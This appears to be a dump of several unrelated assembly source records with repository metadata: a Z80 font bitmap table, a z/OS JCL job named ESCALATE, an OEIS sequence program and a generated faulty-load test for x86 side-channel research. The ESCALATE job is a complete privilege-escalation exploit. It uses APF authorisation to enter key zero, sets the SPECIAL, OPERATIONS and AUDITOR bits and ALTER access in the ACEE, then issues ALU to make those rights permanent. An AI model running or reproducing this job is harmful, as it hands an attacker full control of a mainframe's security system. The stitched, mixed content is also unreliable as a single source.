0b00111100 ; oooo defb 0b00011000 ; oo defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00011000 ; oo defb 0b00111100 ; oooo ; Character: ? (E9) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (EA) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00100100 ; o o defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: ? (EB) defb 0b00011100 ; ooo defb 0b00110110 ; oo oo defb 0b01111000 ; oooo defb 0b11011100 ; oo ooo defb 0b11001100 ; oo oo defb 0b11101100 ; ooo oo defb 0b01111000 ; oooo defb 0b00000000 ; ; Character: ? (EC) defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00111000 ; ooo defb 0b01010100 ; o o o defb 0b01010100 ; o o o defb 0b00111000 ; ooo defb 0b00110000 ; oo defb 0b01100000 ; oo ; Character: ? (ED) defb 0b00000000 ; defb 0b00010000 ; o defb 0b01111100 ; ooooo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b01111100 ; ooooo defb 0b00010000 ; o ; Character: ? (EE) defb 0b00111110 ; ooooo defb 0b01110000 ; ooo defb 0b01100000 ; oo defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b01110000 ; ooo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: ? (EF) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: ? (F0) defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (F1) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b01111110 ; oooooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: ? (F2) defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: ? (F3) defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00001100 ; oo defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: ? (F4) defb 0b00000000 ; defb 0b00001110 ; ooo defb 0b00011011 ; oo oo defb 0b00011011 ; oo oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo ; Character: ? (F5) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b11011000 ; oo oo defb 0b11011000 ; oo oo defb 0b01110000 ; ooo defb 0b00000000 ; ; Character: ? (F6) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: ? (F7) defb 0b00000000 ; defb 0b00110010 ; oo o defb 0b01001100 ; o oo defb 0b00000000 ; defb 0b00110010 ; oo o defb 0b01001100 ; o oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (F8) defb 0b00111000 ; ooo defb 0b01101100 ; oo oo defb 0b00111000 ; ooo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (F9) defb 0b00111000 ; ooo defb 0b01111100 ; ooooo defb 0b00111000 ; ooo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (FA) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (FB) defb 0b00000000 ; defb 0b00000000 ; defb 0b00001111 ; oooo defb 0b00011000 ; oo defb 0b11011000 ; oo oo defb 0b01110000 ; ooo defb 0b00110000 ; oo defb 0b00000000 ; ; Character: ? (FC) defb 0b00111000 ; ooo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b01101100 ; oo oo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (FD) defb 0b00111000 ; ooo defb 0b01101100 ; oo oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b01111100 ; ooooo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (FE) defb 0b01111000 ; oooo defb 0b00001100 ; oo defb 0b00111000 ; ooo defb 0b00001100 ; oo defb 0b01111000 ; oooo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (FF) defb 0b00000000 ; defb 0b11111110 ; ooooooo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ;
24.647914
45
0.595094
6694f4fb446bcdbe241bd31906b3a068415125b9
1,191
asm
Assembly
Assembler/ESCALATE.asm
MinionSas/Mainframe
45939fdcba368bfb5092ad9d588e1f66df523887
[ "Apache-2.0" ]
null
null
null
Assembler/ESCALATE.asm
MinionSas/Mainframe
45939fdcba368bfb5092ad9d588e1f66df523887
[ "Apache-2.0" ]
null
null
null
Assembler/ESCALATE.asm
MinionSas/Mainframe
45939fdcba368bfb5092ad9d588e1f66df523887
[ "Apache-2.0" ]
null
null
null
//0000000A JOB 0-000-0-000,'ESCALATE ', // CLASS=D, // NOTIFY=0000000 //* //* THIS PROGRAM ALLOWS YOU TO ESCALATE PRIVILEGE IF YOU HAVE ACCESS //* TO APF //* //PROCLIB JCLLIB ORDER=SYS1.PROCLIB //* //BUILD EXEC ASMACL //C.SYSLIB DD DSN=SYS1.SISTMAC1,DISP=SHR // DD DSN=SYS1.MACLIB,DISP=SHR //C.SYSIN DD * CSECT AMODE 31 STM 14,12,12(13) BALR 12,0 USING *,12 ST 13,SAVE+4 LA 13,SAVE * MODESET KEY=ZERO,MODE=SUP L 5,X'224' POINTER TO ASCB L 5,X'6C'(5) POINTER TO ASXB L 5,X'C8'(5) POINTER TO ACEE NI X'26'(5),X'00' OI X'26'(5),X'B1' SPE + OPER + AUDITOR ATTR NI X'27'(5),X'00' OI X'27'(5),X'80' ALTER ACCESS * L 13,SAVE+4 LM 14,12,12(13) XR 15,15 BR 14 * SAVE DS 18F END /* //L.SYSLMOD DD DISP=SHR,DSN=APF.LIBRARY //L.SYSIN DD * SETCODE AC(1) NAME ESCALATE(R) /* //* //STEP01 EXEC PGM=ESCALATE,COND=(0,NE) //STEPLIB DD DISP=SHR,DSN=APF.LIBRARY //* //STEP02 EXEC PGM=IKJEFT01,COND=(0,NE) //SYSTSPRT DD SYSOUT=* //SYSTSIN DD * ALU YOURID SPECIAL OPERATIONS AUDITOR //*
22.471698
68
0.546599
0d18a7aebb987c4b9f4e0c33bbcc4ed7cf355554
677
asm
Assembly
oeis/166/A166916.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/166/A166916.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/166/A166916.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A166916: a(n) = 20*a(n-1) - 64*a(n-2) - 15 for n > 1; a(0) = 357, a(1) = 5525. ; 357,5525,87637,1399125,22373717,357930325,5726688597,91626231125,1466016552277,23456252253525,375299985724757,6004799570269525,96076792319006037,1537228673882871125,24595658769241036117,393530540256316970325,6296488643894913094997,100743818301493975799125,1611901092820605077902677,25790417485116487106909525,412646679761811017152419157,6602346876188765168206173525,105637550019019398266368644437,1690200800304306994562177783125,27043212804868898402195962418517,432691404877902320391939870250325 add $0,3 mul $0,2 mov $1,2 pow $1,$0 add $1,2 bin $1,2 mov $0,$1 sub $0,2145 div $0,6 add $0,357
48.357143
497
0.830133
e34fbc8d0ffe340425ef4c9e513c433fa47ce8eb
3,948
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_15012_114.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_15012_114.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_15012_114.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r8 push %r9 push %rbp push %rbx // Store lea addresses_US+0x11b13, %r9 sub $54673, %r11 movw $0x5152, (%r9) nop nop nop nop and $63124, %r8 // Faulty Load lea addresses_PSE+0x9ff3, %r10 nop nop nop nop nop add %r13, %r13 mov (%r10), %r8w lea oracles, %r10 and $0xff, %r8 shlq $12, %r8 mov (%r10,%r8,1), %r8 pop %rbx pop %rbp pop %r9 pop %r8 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_US'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'33': 15012} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
68.068966
2,999
0.660841